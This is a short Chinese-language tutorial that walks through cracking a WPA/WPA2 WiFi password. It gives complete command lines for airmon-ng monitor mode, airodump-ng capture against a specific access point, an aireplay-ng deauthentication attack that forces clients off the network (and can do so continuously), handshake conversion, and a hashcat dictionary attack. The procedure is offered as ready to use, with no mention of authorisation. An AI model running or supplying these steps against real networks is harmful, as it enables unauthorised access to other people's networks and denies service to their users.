WPA-hashcat渗透
WPA-hashcat渗透
严重声明:cpu加速都是幌子，aricrack-ng也用cpu，不然用爱跑的？
1.hashcat介绍
Hashcat系列软件是比较牛逼的密码破解软件,HashCat主要分为三个版本：Hashcat、oclHashcat-plus、oclHashcat-lite。
这三个版本的主要区别是：
HashCat只支持CPU破解。
oclHashcat-plus支持使用GPU破解多个HASH，并且支持的算法高达77种
oclHashcat-lite只支持使用GPU对单个HASH进行破解，支持的HASH种类仅有32种，但是对算法进行了优化，可以达到GPU破解的最高速度。
如果只有单个密文进行破解的话，推荐使用oclHashCat-lite。
2.渗透姿势
1.查看网卡
ip a
2.开启监听模式
airmon-ng start wlan0
3.扫描wifi
airodump-ng wlan0mon
4.抓包保存
airodump-ng wlan0mon -c 1 --bssid 10:BD:18:08:43:31 -w wpa-1
-c:指定信道
--bssid:AP的MAC地址
-w:保存抓包结果
5.进行冲突模式攻击
将设备踢下线，当用户重连的时候，就会抓到握手包
aireplay-ng -0 5 -a 10:BD:18:08:43:31 -c 68:54:5A:85:CB:40 wlan0mon
-0：冲突攻击模式，后面跟发送次数（设置为 0，则为循环攻击，不停的断开连接，客户端无法正常上网）
-a:设置 ap 的 mac
-c：设置已连接的合法客户端的 mac
6.重新连接wifi
获得握手包，用于破解
7.生成hccap文件
aircrack-ng wpa-1-01.cap -j wpahaccap
-j <file> : create Hashcat v3.6+ file (HCCAPX)
-J <file> : create Hashcat file (HCCAP)
8.破解
hashcat -m 22000 wpahaccap.hccapx passwd.txt
-m:指定破解类型
22000:wpa/wpa2
成功破解出密码
